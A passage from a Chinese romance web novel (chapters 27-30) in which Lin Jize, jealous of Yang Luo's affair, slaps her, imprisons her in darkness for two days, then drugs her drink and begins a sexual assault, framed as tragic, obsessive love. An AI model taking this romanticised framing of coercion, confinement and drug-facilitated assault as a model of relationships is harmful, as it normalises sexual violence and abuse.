唐亭:“不过人性都是一以贯之的。夜里的鬼变不成白天的人。陆砚堂做事向来狠戾决绝,没几分魄力和手段,他怎么从私生子的位置爬到现在的一把手?你也不要指望他是个爱美人不爱江山的痴情种。他的不择手段,也可能只是你没见过罢了。”
杨珞怔愣片刻,莞尔一笑。
“我知道。”
杨珞的电话突然响了。她看了一眼,是林纪泽。
她心里开始犯起嘀咕。
犹豫接通后,杨珞还没说话,那头便传来冷冰冰的声音。
“在哪儿。”
“我在家。”
“下楼。”
杨珞心里的凉意一闪而过,刚要开口拒绝,林纪泽便命令道:“你不下来,我就上去。”
林纪泽说完便挂了电话,杨珞心里隐隐不安起来。林纪泽已经很久没有这样对她下过命令了,还是如此愤怒的语气。
杨珞手里心起了一层薄薄的汗,突然有个不好的预感,
他一定知道了什么。
杨珞脑子乱成了浆糊,如果林纪泽真的知道他和陆砚堂之间的事,这个疯子会做什么?
杨珞不敢想象,即便她什么错都没有,可心里的惶恐却像要溢出来了。
唐亭看出了杨珞的失神:“谁?”
“林纪泽。我要下去一趟。”
唐亭起身:“你是不是有事瞒着我?”
唐亭一眼看穿了杨珞的伪装,杨珞沉默半晌,说:“昨天陆砚堂接了林纪泽打给我的电话。”
唐亭瞳孔微微放大,这其中的含义不言而喻。
杨珞:“我不确定林纪泽知不知道,但我不下去他就要上来。你放心,这么多年了,他不会把我怎么样。”
杨珞起身离开,唐亭僵硬的站在原地。
一股巨大的无力感狠狠侵蚀了她。
在唐亭第一次知道杨珞被林纪泽骚扰的时候就体会过这种无力感。
她拼了命的想救她出来,可自己的力量微薄到可笑。
楼下车子里,林纪泽的脸色沉如黑水,好似下一秒就要把人撕扯的血肉模糊。
他回想着刘明给自己回复的话,双拳握的指节发白。
从陆砚堂接电话的那一刻起,林纪泽心里就从没放下过这份疑虑和提防。他让人查陆砚堂,从杨珞回来开始查,又查到杨珞回来之前。
整整一周,陆砚堂和杨珞在法国同一个地方,去了同一个酒庄。
可除此之外,所有的行踪,信息,再也查不出来了。
到底发生了什么,需要陆砚堂动手把他们的痕迹抹的一干二净?
什么踪迹都没有,就什么都能发生。
32. 第27章
夜里下起了细雨,杨珞刚到楼下就看到停在前面的宾利,车灯下雨如细丝,带着几分凉意。
车窗缓缓滑下,林纪泽微微侧眸向她看过来,杨珞识趣的钻入车中。
短短几步路,细雨落在她肩膀上,浮上一层细密的水珠。她坐落好才发现林纪泽今天开的车有隔板。
林纪泽当着她的面抬手按了按钮,隔板慢慢升起,随着空间越来越小,杨珞的心也越来越紧。
车子发动,林纪泽神情晦暗,他抬手将杨珞肩上的水珠拭掉,把玩似的轻轻摩擦着。
杨珞身子绷的很紧,半晌后终于受不了,转过头:“你要带我去哪儿?”
“去了就知道了。”
“林纪泽,你在跟我玩什么花样?”
“花样?”林纪泽忽然捏住她的下巴:“是谁在完花样?”
杨珞还未仔细反应,林纪泽便捏着下巴将她狠狠拽过去,她惊呼一声,脸上生疼,紧紧抓住他的手臂。
男人的手臂如冷铁般坚硬,她挣扎着在林纪泽的胳膊上抓出几道血痕,终于哀求的看着他。
狭小的车厢,他们离的这样近,林纪泽心里再有气,看到杨珞这幅样子也心软了。
杨珞几乎在一瞬间便确定是自己惹到了他,不然他再怎么阴晴不定也不会把气撒在自己身上。
杨珞俯在林纪泽的腿上一动不敢动,隔着薄薄的布料,杨珞似乎能感觉到男人结实有力的大腿,卡在她腰间的手丝毫不肯放松。
沉默的时间里,杨珞忽然发现眼前的林纪泽和她记忆里的不一样了。
第一次见林纪泽的时候,他只有二十岁,一个本性顽劣的少年,再叫人害怕,稚嫩的面庞总归还有些孩子气。
可现在他长大了。
那份乖张、任性,变成了逼人的狠戾。
或许是因为害怕,她总是拼了命想躲,想忘记这个人的存在,从不敢过多的直视他。
林纪泽松开捏着她下巴的手,却强迫她躺在自己腿上,盯着她:“你在想什么?”
杨珞放慢了呼吸,冷静后如实道:“你长大了。”
林纪泽微微一怔:“是啊,很多年了,不过在我眼里你没有变。”
杨珞冷冷的笑了,没有说话。
她怎么会没变呢?
她变得行尸走肉,胆战心惊,变得苍白无力,委身于人。她惊讶于眼前之人的大言不惭,却懒得同他争辩一句。
林纪泽似乎读懂了她眼神里的话,回以冷笑,而后抬手轻柔的拨开她脸上凌乱的发丝,顺势低头吻了上去。
杨珞惊愕。
记忆带着唇上的温度回到了很久很久以前。
在那个狭小的监禁室里,在陈桥被他们冤枉,在杨珞被胁迫的那一天。
“杨珞,我和陈桥玩儿腻了,你去和他做个了断吧。从今以后,是爱是恨,是死是活,都是我们两个之间的事了。”
“林纪泽,我们谈谈吧。”
杨珞好像知道林纪泽想要什么,他要爱和被爱,他要自己的执念。
杨珞害怕这种爱,可又不得不利用它。
那天杨珞用自己的谎言和林纪泽达成了一个约定。
给她一点时间和机会,让自己可以爱上他。
杨珞编织了一个梦,一个期望,让林纪泽毫无选择的沉溺在里面。
她企图拖住他,留住和陈桥的爱情。
可她奢望的太多了,陈桥还是被逼走了。
现在她还在用这个不可能实现的梦拖着林纪泽,想为自己博一个自由身。
可当林纪泽疯狂的撬开她的唇,毫不克制的吻她时,杨珞明白,林纪泽的梦也醒了。
杨珞任他禁锢着,紧紧闭着眼睛。
过了许久,林纪泽终于起身,克制的看着杨珞。她的唇湿润润的,带着激/吻后的水色,这幅样子在林纪泽眼里是极美的。
他忍不住的想,杨珞面对陆砚堂的时候也是这样的吗?
不,会比面对自己的时候要温柔吧。
他们在异国他乡激/情缠/绵的时候,她会比现在更诱/人。
陆砚堂和陈桥一样吗?
为什么没了陈桥,还会出现其他人?
为什么?
林纪泽一直盯着杨珞,可他不敢问。
他突然害怕知道真相,更害怕自己问出口,她就承认了。
至少现在她还愿意骗自己。
林纪泽放开杨珞,让她独自坐在另一边,一路无声。
车子开到了林纪泽的别墅。杨珞刚从法国回来的那天晚上就来过一次。
林纪泽的别墅是一个当地做房地产的老板送给他的礼物。装潢地界一等一的好,关键是和他在港城的住处有些相似之处,趁了他的习惯。
西京是名城贵市,商界一家独大,算陆砚堂的。黑白两道各行其道,斗个不休,扫黑除恶的大旗下仍是野火不灭。犯黑的本是几方割据,自打林纪泽来了以后压了旁人一头,但也只是敢怒不敢言,毕竟当前还没人敢和港城林家叫板。
杨珞随着林纪泽穿过石子路径直进了大厅,门口两个保镖冲她恭敬鞠躬,杨珞却看也没看一眼。
林纪泽笑道:“你倒是有女主人的气派。”
杨珞没有理会他的打趣,问道:“你大晚上让我过来干嘛?”
林纪泽没有直接回答她,而是轻轻拉起她的手带她穿过正厅,侧处有一扇玻璃门,杨珞站在门口时微微一怔。
是一个花园。
花园不足为奇,可让她怔住的是花园的样子。
很久以前她在艺术选修课上看到过一幅油画,画上是一个闲适的女人躺在一片花丛里。或许是画作的水平太高了,那片花园如同梦境一般闯入杨珞的脑海里。
她曾激动的将画打印出来,告诉陈桥以后等他们赚大钱了也要买一栋大别墅,要在别墅后面修一个一摸一样的花园。
他们把那张照片夹在了杨珞的日记本了,下面用马克笔写着未来的心愿。
可那个本子被烧了,里面所有的东西都被林纪泽烧了。
林纪泽打开玻璃门,要带杨珞过去。可杨珞却突然挣开他的手。
她觉得可笑。
那时候幼稚的梦想早就随着时间流逝掉了。随着那把火被烧的一干二净。
此刻看到这幅场景她只觉得心痛,只觉得好不容易忘掉的东西翻涌而来让她窒息。
林纪泽随她回去,抱住她的肩膀。
“不喜欢吗?”
杨珞语气淡淡地:“不喜欢。”
林纪泽的目光渐渐淡下来。他没有说话,转身向一旁的酒柜给自己倒了杯酒。
硕大的别墅落针可闻,杨珞忍不住开口:“你叫我过来是为了看这个吗?现在我能回去吗?”
林纪泽冷声道:“不是。不能。”
杨珞定住。
林纪泽转过身来。修长有力的手轻握着水晶器皿,手臂上的青筋在苍白的皮肤上微微凸起,上好的拉佛尔随着他的手腕来回摇晃,最后随着漩涡归于平静。
他轻轻放下醒酒器,在玻璃桌上磕出一声响,显得整栋房子格外死寂。
林纪泽抬眼看她,料到她会生气,可想到自己被她毫不犹豫的排除在生活之外,便一点也不后悔。
林纪泽:“杨珞,你搬过来住吧。”
杨珞皱眉:“你说什么?”
林纪泽:“我说,我想让你搬过来。或者说,从现在开始,我要你以我女人的身份,陪我吃饭、睡觉、应酬,和我同居。”
杨珞被他心安理得的目光狠狠刺到。
“我如果非要走呢?”
林纪泽笑了笑:“我有说在和你商量吗?”
杨珞冷冷地盯着他,片刻后径直往外走。
“你今天是平平安安过来的。你现在走了,再回来的代
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价你承受得起吗?”
杨珞定在原地,凉意从脚底往上蔓延,她想说些什么,但发现所有语言都显得苍白无力。和林纪泽周旋那么久,不就是因为这些代价她承受不起吗?
杨珞回头看向林纪泽,看到他脸上胜券在握的表情。终于忍无可忍,将自己的包朝林纪泽狠狠砸过去,包带掠过他的喉结,林纪泽丝毫没躲。
似乎并没有平息自己的怒气,杨珞疾步上前,抓住一个茶壶又朝他砸了过去,碎在林纪泽眼前的桌子上,噼里啪啦一阵响。
四五个保镖闻声赶来,却见林纪泽坐在原地一动不动,顿时不知如何是好。
杨珞一点没有收敛的意思,她愤怒极了,也恨透了。杯子、花瓶、任何她手边能拿动的东西全都一股脑朝林纪泽砸了过去。
最后抓起林纪泽刚放下的醒酒器,想都没想就朝他脑袋摔了过去。
直到此时林纪泽才抬手扼住她的手腕,瓶里的酒溅出来淋在他侧脸,极白的皮肤与滴血的红色融在一起,竟成了一副绝伦妖艳的画面。
“真要把我砸死?”
杨珞咬牙切齿:“我恨不得早点砸死你。”
她死命挣扎,却被林纪泽握住两只手腕,醒酒器掉在地上碎成了渣,而她被林纪泽毫不费力的禁锢在怀中。
门口的保镖早已退去,杨珞用光了最后一分力气却仍不认命:“你真的要把我逼疯吗?”
林纪泽:“逼你?我如果真的逼你,何至于等到现在?”
“你没有吗?!”杨珞冷笑:“是你逼走了陈桥,是你让我孤立无援,把我活生生拉下地狱,你还有什么做不出来的?!”
林纪泽脸色忽的沉了下来。
“陈桥……你还忘不了他。”
他紧紧拥着杨珞,贴近她耳朵:“杨珞,还记得我们的约定吗?到底是我做的不够好,还是从一开始你就在骗我?”
杨珞哑口无言,绝望的笑了。
林纪泽感受着怀里颤抖的身躯,心底一分分凉了下来。
他多希望此刻杨珞骗他一句,哪怕再拙略他都会相信。
“杨珞,我爱你。可你从来没认真听过。”
“你爱我?”杨珞怔怔的看着他“不如你杀了我吧,杀了我也算你有点慈悲之心。你丧尽天良,恶事做尽,一句以爱之名就成了大慈大悲吗?我是忘不了陈桥,我一辈子都忘不了他,因为你我一辈子都对他心有愧疚,你满意了吗?”
林纪泽像僵硬的雕塑,绷紧的身子一碰就碎,他盯着杨珞,看着她毫不掩饰的恨意。
一种巨大的悲痛压在林纪泽心口,像有一双手活活将他的心撕成几瓣。
三年了,他像个溺水挣扎的傻子,越陷越深,爱的不知错所,爱的喘不过气来。
可到头来给她留下的只有恨,越来越恨。
被他逼走的陈桥,在她心口留下抹不去的痕迹,可旧人已去,她心中仍没有自己的位置。
杨珞知道林纪泽为什么会突然打破两人之间的宁静。正是因为知道,所以才什么都没有问。
杨珞对上林纪泽的目光,他狭长的眉目里太过复杂,悲痛,凄凉和缓缓涌上的愤怒尽揉其中。林纪泽像是在努力克制着什么,用他的爱意压下要爆发的疯狂。
可压下之后呢?又会怎么样?
一切像个循环往复的死局,他得不到,她也逃不出,只等有人被活活逼死,才能断了这场荒谬的情意。
鱼死网破不过一瞬间。
杨珞忽然挂起一抹嘲讽的笑容,她要亲手结束林纪泽的欲盖弥彰和装聋作哑,要把血淋淋的东西揭开扔在他脸上,要死要活,要做个了断。
“我的人生里已经没有陈桥了,我也已经不爱陈桥了,你满意吗?”
林纪泽心中猛的一动,僵硬的盔甲在顷刻间要崩裂碎掉,可他没来得及反应,只听杨珞冷冷道:“可那又怎么样?就算没有陈桥,也会有别人。”
33. 第28章
“可那又怎么样?就算没有陈桥,也会有别人。”
林纪泽浑身一僵
“你早就知道了是吗?林二公子多么神通广大,我做的那点苟且事怎么瞒得过你呢?可你为什么装聋作哑?你不敢吗?”
林纪泽:“闭嘴。”
杨珞步步紧逼:“我对你只有恨!陈桥走了也不会改变这一点,这世界上所有男人都可以,唯独你不行!”
啪的一声,杨珞只觉头晕目眩,身子狠狠砸到了地上,脸上火辣辣的痛感迎着胸腔里那团火,烧的叫人癫狂。
林纪泽惊愕的站在原地。
这一巴掌像是她的话一样无情,撕破了他长久来的隐忍和纵容。
寂静的几秒,林纪泽的惊愕慢慢变为一丝凉薄,一种心如死灰的冷厉。他缓缓蹲在杨珞面前,扶起孱弱的她。
“杨珞,你知道你在说什么吗?这三年是我对你太好了吗?我惯着你,由着你,我心想着有朝一日让你心甘情愿的爱上我,我做了这么多,忍了这么久,让你恨透我了,是吗?”
杨珞双目通红,满不在乎的看着他:“你杀了我吧。”
林纪泽:“杀了你?别做梦了。这世界上你记挂着的人多着呢,你要想让她们好好活着,你就别想着死,就算死,你也得死我后头。”
杨珞眼角无声滑下一滴泪:“好啊,早晚有一天我要杀了你。”
林纪泽如同邪物妖冶,将她抱起:“我等着死在你手里。”
他跨过楼梯,狠狠踹开一间房门,里面漆黑一片。他将杨珞放在床上,转身离开,走到门口时倏地停住,缓缓转身,走廊的灯光折出他修长的身影,勾出冰冷寒凛的轮廓。
“杨珞,是我给你的选择太多了。”
——
张凌睿等杨珞等的直抖腿,隔着屏幕冲周淼发脾气:“杨珞呢?怎么还没进来?给她打电话!”
周淼战战兢兢:“我打了,没人接呀,是不是有什么事儿……”
boss的会议屏幕开了,张凌睿瞬间正襟危坐,出现在摄像头里的是程进。陵川法务部见程进来了,例行公事问人都到齐了吗?到齐了就开始吧。
张凌睿不敢瞒着,今天的会议涉及陵川和江月的商业机密,谁参加都报了名单。
“不好意思程总,我们所杨律师还没来,估计有什么事儿耽搁了。”
程进看了眼坐在身旁的陆砚堂,问:“杨律师吗?她有什么事儿吗?”
张凌睿:“现在还不清楚,我们已经在催了,可能临时有急事儿迟到了吧,要不咱们先开始,后续会议内容我再和她对接。”
程进看向陆砚堂,见他点了下头才示意会议开始。
江月和陵川的案子后续还有一大串程序要走,下一个阶段的事情免不了要详谈,陆砚堂一心二用,对后期的合作也盯着点,会议旁听,手里还看着其他资料。
待手中东西看完,闲散的看了一眼屏幕,迟到的那个人还没来。
陆砚堂拿出手机翻出杨珞的电话,却要在拨通的时候犹豫了几秒,又默不作声的收回。
出神了几秒。
属实被她扰乱了心思,竟然有了公私不分的念头。
——
夜里杨珞还没回来时,唐亭还安慰自己指不定杨珞和林纪泽吵了一架,耽搁了时间。
过了夜里唐亭等不住了,给杨珞打电话却是没人接,唐亭急的在房间里团团转,等她又一次打过去,电话响了几声后被人挂断,她才终于意识到出事儿了。
唐亭打听到了林纪泽的别墅,第二天一早直奔过去,到了门口不出意外被保安拦了下来。
“我来找你们林先生,麻烦进去通报一声。”
保安脸色不好:“林先生说了,不见任何人。”
唐亭压着火气:“今天下午的时候他带一个女人进去了是吗?我来找她。”
保安睨她一眼:“一会儿找林先生,一会儿找女人,你到底找谁呀?”
唐亭:“谁都行!我要见林纪泽!”
保安:“吼什么吼?我说了,林先生不见任何人。”
唐亭气的转身离去,走出几步却又回来:“唐继平知道是谁吗?”
保安眯着眼,思索片刻:“你是他什么人?”
唐亭:“我是他女儿,不是什么不三不四的人,我找你们林先生确实有事儿,见不见也要你去问了才行,不然耽误了我的事儿,你得罪得起哪头?”
唐亭对唐继平厌恶至极,却也不得不在此刻搬出他的名号震场。
一个小小的保安,惹不起东城的地头蛇,正在他犹豫时,身后响起了声音。
“我替唐小姐问过了,林先生忙,请回吧。”
来的人是刘明,他说不见,就是真的不见了。
唐亭心凉了半截,却还在坚持:“杨珞在这里吗?”
刘明:“杨小姐在里头休息呢,不用担心,林先生会照顾好她的。”
“我有很重要的事情,想见她一面。”
“唐小姐,再大的事儿,林先生都会帮她摆平的。况且两人刚才拌了嘴,都在气头上,你现在去也不方便。对了,杨小姐恐怕要在这儿多呆几天。”
话说到这个份儿上,林纪泽是彻底不打算见唐亭,再纠缠下去也于事无补。
唐亭漫无目的走在回去的路上,心乱如麻。
林纪泽什么混蛋事儿都做得出来,可以往都是对杨珞身边的人,他再狠再毒,也只会拿别人威胁她,从不肯直接把这些招式用在杨珞身上,更别说囚禁她。
唐亭只怕他疯起来不管不顾。
唐亭突然停了脚步,心中一横,直奔唐言声的别墅。
唐言声和他爹唐继平一样狼心狗肺,自从唐亭进了唐家的门,唐言声从未正眼看过她,唐亭总是避免和他有正面的冲突。
可唐亭仍是低三下四的求过唐言声一次。
是两年前。是为了杨珞。是因为林纪泽。
可于事无补,唐言声不敢和林纪泽作对,也不愿意吃力不讨好。
唐亭该知道结果,可她没有办法了,只要能见到杨珞什么都好说。
唐亭刚踏进唐言声的别墅,迎面看到从里面走出来的周诠。周诠也诧异怎么会这里见到唐亭,往日里二人少有私下的往来。又看到她脸色颇为着急,小心翼翼的将她带到旁边说话。
“你来干什么?”
“我有急事找唐言声。”
“什么事?”
“我的私事,你不用管。”
唐亭就要进去,被周诠拉了回来。
“你别忘了,现在我们是一根绳上的蚂蚱。你的私事我不管,但不要影响到我们的计划。”
唐亭顿了顿,她不得不顾虑自己和周诠微妙的关系。<
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p>“我要见林纪泽,可我见不到他。”
周诠反应极快。
“是因为杨珞?”
唐亭点头。
周诠环顾四周,确定没人后低声道:“你真是着急了连脑子都不要了,你觉得唐言声会帮你吗?他要帮,三年前就帮了。况且他帮的了吗?你现在去求他,不仅没有半点用,白白让他再握一个把柄。”
唐亭被周诠骂了个激灵。
她真的急糊涂了。
可她什么办法都没有。
周诠见她恢复理智,问:“林纪泽不是一直都没有为难杨小姐吗?现在怎么回事?”
唐亭想着杨珞临走前说的话,林纪泽或许发现了她和陆砚堂的事。
正是因为这样,她才害怕林纪泽做出什么追悔莫及的事情。
等等。
陆砚堂。
周诠的话点醒了她。
要从林纪泽手里救人,就要压的过他。
唐亭下了决心,直奔陵川大厦。
唐亭不出预料的被秘书拦在门外,情急之下说:“我是因为一个杨小姐来找陆总的。麻烦您转达一声,如果陆总还是不见,我马上就走。”
秘书微笑点头:“您稍等。”
几分钟后程进迎了出来。
“唐小姐,陆先生正在开会,您要是不急的话,可以稍等一会儿。”
“我很急,我必须要见他。”
程进露出为难之色。
“事关杨珞,如果你们陆先生在意,就一定会见我,如果不在意,我也没有等下去的必要。”
程进犹豫了几秒,而后再度返回办公室。
唐亭焦急的等在外面,秘书不动声色的打量着她。秘书认识那个叫杨珞的女人,都是女人,她心底也多少有点猜测。可也仅仅是猜测,要在总裁办公室的门外站的久,就不该有太多的好奇心。
程进快步返回:“陆总让您去办公室,不过他只有十分钟时间。”
陆砚堂半道溜出来,抽空给自己倒了杯水,直挺的西装衬的他整个人不苟言笑。唐亭火急火燎的进来,却如同顷刻间到了零下的冰室,那份着急的心情也在陆砚堂的审视下冷静了下来。
这是唐亭第一次见到陆砚堂本人,她不禁轻叹杨珞是如何同这样一个人暧/昧纠缠的。
陆砚堂:“你说有关杨珞的事找我?”
唐亭:“是,她被林纪泽关起来了。”
陆砚堂动作一怔,些许惊讶的看着唐亭。
唐亭将林纪泽带走杨珞的事情快速说了一遍。
屋里陷入了一片死寂,唐亭看着陆砚堂,焦急的等待着他的答复,而陆砚堂却久久没有说话。
半晌,他问:“她被关起来多久了?”
“从昨晚八点到现在。”
“十九个小时。”他默默重复一遍,声音冷厉低沉:“十九个小时了,你现在才来找我?”
唐亭一惊,顿时不知如何回答,片刻后才哀求道:“你能不能救救她?”
陆砚堂侧目看着窗外思索了许久,唐亭的心一上一下,终于等到他开口:“我和杨珞的事情,你应该知道不少。”
唐亭点头:“是,我知道。而且林纪泽就是因为你才带走杨珞的。”
陆砚堂看了眼唐亭,很快收回目光,似乎对她的话并不意外
“很抱歉,我现在没法救。”
34. 第29章
“很抱歉,我现在没法救。”
唐亭如同石塑僵在原地,最后一丝希望也在此刻破灭。
“既然唐小姐知道我和杨珞的纠葛,应该也更知道杨珞和林纪泽的关系。林纪泽囚禁她,不过是爱而不得,冲动之举。林纪泽又不想让她当一个傀儡娃娃,不会囚她多久,等气消了,事儿过了,就会放她出来,他爱杨珞,所以他能伤害杨珞的方式只有一种。”
唐亭看着眼前男人沉稳的分析着,每个字都掷地有声。
“而这一种方式,十九个小时,该发生的早就发生了,你来的太晚了。”
唐亭说不出话来,心底升起一丝丝凉意和蔓延的痛感。
陆砚堂说得没错,她阻止不了,这么久的时间,如果要伤害杨珞,一切都尘埃落定了。
“况且林纪泽的怒气本来就是由我而起,我在这个风口出面,还是从他的地盘里要人,只会让他更愤怒,让杨珞更危险。孰轻孰重,唐小姐应该也清楚。”
唐亭盯着陆砚堂,眼前的男人冷静的可怕,理智的可怕。她想起杨珞在提到陆砚堂??时眼里飘忽不定的爱意,一种犹豫不决的试探,此刻才明白她的退缩是为何。
若说有情,又如何能在心悦之人深陷囚笼时泰然自若,若说无情,那点点滴滴的风月情话又算什么。
陆砚堂叫人看不透,摸不准,相比林纪泽那头张着血盆大口的老虎,他又何尝不是一只阴晴难测的饿狼呢。
原来如此,情意总是不值一提。
唐亭紧绷着身体,艰难的舒出一口气,她眼底尽是失望之色。
陆砚堂微微抬眼,从唐亭的神情中读出了她的心思,平静道:“唐小姐,我只是陈述了当下的事实和最现实的做法,你无需多想。”
唐亭:“是我多想,还是杨珞多想?陆先生是聪明人,明人不说暗话,杨珞经不起折腾,您这样的男人,哪怕寻个乐子,也有无数女人趋之若鹜。我怕她笨,虎口还没逃出,又遇狼爪。你如果对她没有正经心思,又何必捉弄她?”
陆砚堂起身,高大的身躯压迫感十足:“你觉得我游手好闲吗?”
答非所问,唐亭没有回答。
“我没有那么多的时间去沾花惹草,女人有趣,一个就够了,至于你心里揣测我的,可以理解。但我不是二十多岁的毛头小子,关心不一定要乱,做事不能只做表面。”
唐亭想要再说些什么,被陆砚堂打断:“多说无益,你也求不来其他人,只管回去等着消息吧,不要再惹怒林纪泽,这是对杨珞最好的方式。”
话已至此,无须多言。唐亭离开那间冰窖一样的办公室后长长出一口气,她仰头看了眼挂在墙上的钟表,正好十分钟,分秒不差。
秘书恭敬的送她出去,一切同她来时没有区别。
她冷静下来,陆砚堂说的没错,她只能等。
唐亭走后,陆砚堂没有从办公室出来。他呆在里面许久,直到程进敲门催他继续去开会,陆砚堂才从思绪中晃过神来。
“那边的会议……”
“再等会儿。”
程进猜到杨珞出事了,不敢哪壶不开提哪壶,默默退了出去,冲门外的秘书使了个眼色。可程进刚关了门,又被陆砚堂叫了进来。
“最近有没有人查我在波尔多的事?”
程进:“确实有,但是按照您的吩咐,什么消息都没放出去。”
陆砚堂垂头思量着,眼神晦暗不明。
程进从支离破碎的信息里摸索出了事情的来龙去脉。可不敢妄言,只好原地等着,看陆砚堂的反应。
半晌,陆砚堂终于抬头:“把老七叫来,我交代他办几件事。”
——
杨珞在黑暗中醒来,伸手不见五指,极致的安静让她醒来后再度抓狂。
她不知道时间过了多久,不知道外面是黑是白,屋里有一张床,但她此刻躺在地上,身体如同散架一样酸痛。
杨珞孱弱的呼吸着,用了很大力气才动了动手指,摩擦着大理石触感的地板。她看不到一点光,听不到一点声音,如同黑洞吸走了她全部的意志。
从被林纪泽关在这间屋子里开始,她不断地昏倒醒来,但如同一场没有尽头的循环,永远都在一片黑暗之中。她起先很饿,到后来没有知觉,途中只有人给她送过一杯水,门里渗入一丝光亮,而后光线转瞬即逝,又是无尽的黑暗。她贪婪的喝光杯子里的水,疯狂的拍打厚重的门,但得不到一丝回应。
杨珞在近乎崩溃的边缘,她不知道自己再次闭上眼睛还能不能醒来。
一个无所不用其极的二世祖,折磨人的办法,何止如此啊。
不知多少次,杨珞在昏昏沉沉中又要睡去,却觉得眼前多了一丝光亮。她迷迷糊糊,不知是真是假,直到皮鞋磕在地上的声音传入她耳朵。
两天了,林纪泽终于打开了那扇门。
黑暗的力量是无比残忍的,能让人疯,让人抛弃所有意志。林纪泽曾经拼命想在她面前藏着的阴狠,终有一天用在了她身上。
可他还是手软了,他不想看到一个意念全无,行尸走肉般的杨珞。
杨珞被光刺的皱着眉头,模糊中看到一道欣长的影子朝自己走来。她蜷缩在地上,身体止不住的颤抖着,好半晌才动了动胳膊,想要挣扎着起来,可很快又倒了下去。
林纪泽踏着不缓不慢的脚步站立在她面前,俯视着孱弱惊恐的女人。杨珞颤巍巍的伸出手,只摸到了他黑亮的皮鞋。再往上,是他的西装裤脚,她死死的拽着,是她的求饶。
林纪泽得到了他想要的结果,可意外的并不开心。
他缓缓蹲下身来,将杨珞抱起,她不再挣扎,像个没有力气的提线木偶任他摆布。
“我来接你出去。”
杨珞并没有回答他,可林纪泽不在乎,他抱着她下了楼,开了所有的灯。他将杨珞轻轻放在沙发上,一口一口的喂给她水喝。
水唤醒了杨珞的意识,她开始疯狂觉得口渴,饥饿。她接住林纪泽递来的水,大口喝下。
林纪泽觉得杨珞从没在自己面前这样乖过,他开心极了,轻轻擦掉她流在嘴角的水,温柔道:“我叫人做了东西给你吃,去吃点。”
阿姨端来了一桌子的饭菜。她明明觉得很饿,可吃了一碗粥后就开始恶心,再也吃不下。像是经历了生死,杨珞茫然无错的盯着眼前的满汉全席,而后看到那个满眼温柔,小心翼翼喂自己吃饭的林纪泽。
为什么。
要她死的是这个人。
要她活的还是他。
被黑暗和恐惧冲散的意识突然开始回归,杨珞心口一种剧痛在蔓延。
她开始落泪,无声的泪铺了满脸,林纪泽慌了,他扔掉手里的碗小心的捧着她的脸:“怎么了?不好吃吗?你想吃什么?我叫人重新给你做
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。”
她想求他放了自己。
或者痛快杀了自己。
可杨珞知道没有用,他不会。
她大口呼吸着,压下心里所想,最后轻声道:“我想回家。”
林纪泽收敛了惊慌的神色,重新拿起碗来,说:“吃了饭,等明天我送你回去。”
杨珞一动不动。
林纪泽:“你这个样子回家,她们会担心的。”
杨珞这才随着他的意吃了些东西,体力也在渐渐回归。林纪泽叫人收拾了下面的饭菜,送来了两套衣服,带着杨珞上楼。
“洗个澡,睡一觉。”
杨珞警惕的看着他,林纪泽说:“我在外面等你。”
林纪泽走后,杨珞无力的坐在床上,好一会儿才动身去洗澡。她小心的确认门反锁了,在浴池里放了满满的热水,让自己沉了下去。
门外一位年轻的女仆走到林纪泽身边:“先生,你要的水。”
“放下吧。今晚你们都回去。”
林纪泽给杨珞的睡衣还算保守,,林纪泽正站在落地窗前看夜景。他的江景别墅往外望去是一片辽阔,荧荧灯火落尽屋中,静谧舒适。
林纪泽听到杨珞出来的声音,朝她走来:“喝点水,还饿吗?”
杨珞摇了摇头:“不饿了。”
杨珞喝了水,把杯子递给林纪泽,包头发的毛巾散开,一簇簇的黑发落在她肩头,染湿了真丝睡衣。林纪泽扶着她的肩膀坐在床上,从卫生间拿出吹风机来。
杨珞静静地看着他,明明坐在无比舒适的床上,可心底确实忍不住的慌乱。
“你应该知道,我生气了。”
林纪泽拨开她的头发,轻轻拿住一缕,任它划过手心,留下湿湿的触感。
他打开吹风机,轰鸣的声音在杨珞耳边炸开,什么声音也听不到了,杨珞紧紧攥着床单,连呼吸都紧促了起来。
林纪泽没有伺候过别人,他极尽小心才磕磕绊绊的把她的头发吹干。
房间在一瞬又静了下来,燥热的空气蔓延于杨珞浑身上下。
“但我不计较了。那些话,我以后也不想再听到。”
杨珞目色空空:“我说不说又如何,林纪泽,你一贯会自欺欺人。”
林纪泽用手指把杨珞的发丝梳顺,笑道:“看来你好多了。”
床的一边陡然沉了一下,林纪泽一只腿跪了上去,健壮的身躯笼罩着杨珞,她浑身一抖,却被他禁锢住。
“我们的游戏到此结束吧。”
他双臂越收越紧,下巴抵在她颈窝处,轻柔的摩擦了几下。
“我的耐心到头了,从今天开始,你是我的了。”
林纪泽在她耳上落下轻轻一吻,杨珞猛的挣开,可几乎是瞬间她就觉得不对劲。
那种燥热,无力的感觉在不知不觉中吞噬了她。
杨珞不可思议的看向那杯水,怒目吼道:“林纪泽!”
林纪泽直起了身,步履轻松的朝她靠近,他抬手松了松领带,而后粗暴扯开扔向一旁。
“你也知道,我是个禽兽。”
杨珞本能的朝门外跑去,可身子像是被人抽了筋,只迈了两步便软了下来。一股细密痒从身体深处传来,她大口喘着气,面色绯红。
林纪泽慢条斯理的解开衬衫的扣子。
“我本想装好人,可惜,怎么装都装不像。”
35. 第30章
杨珞强撑着身子跑出去,大喊救命,可没有任何回应。
她余光看到林纪泽从屋里追出来,目光里贪婪而放纵的欲望,如同猩红的火焰,灼伤她每一寸肌肤。
杨珞扶着栏杆艰难后退,明明他走的那样慢,那样的气定神闲,可还是离她越来越近。
她终于撑不住倒下去,却被他轻松的一手捞起,紧紧抱住。
“反正你也不爱我。”
他用力的吻上她的脖子,一丝丝占有,真丝光滑的睡衣在磨蹭中滑落,杨珞的身体在情药的作用下疯狂的发烫。他的手每抚过的一寸肌肤,都留下大片的红痕。他用牙齿扯开她的肩带,双唇轻轻吻过她的锁骨。
他吻到肩膀处停了下来,而后咬了上去,杨珞吃痛的哭了出来,他抬起头,强迫她看着自己。
“痛吗?你忘了吗?我身上现在都还有你留下的牙印,每当我想你想的要疯了,都会觉得这是你给我的恩赐。是不是很可笑?”
杨珞哭着摇头。
林纪泽去吻她的泪痕,可总也吻不完,她孱弱的挣扎让林纪泽要疯要狂,他把她压在墙上,粗暴而难以自抑的索取,纵然知道她无法反抗,纵然知道自己明明可以慢慢来。
可他控制不住,他怨,他恨,他气,可他更爱。
“杨珞,你恨我吧。只要你不爱别人,你恨我也罢。”
林纪泽忽然被狠狠推了一下,杨珞用尽了全身力气,他被推的后退几步,杨珞踉跄着退到栏杆前,慌忙的扯着被他撕破的衣服。
她脸上全是未干的泪痕,如濒死的野兽般仇恨的看着他。
恨?她早就恨了。
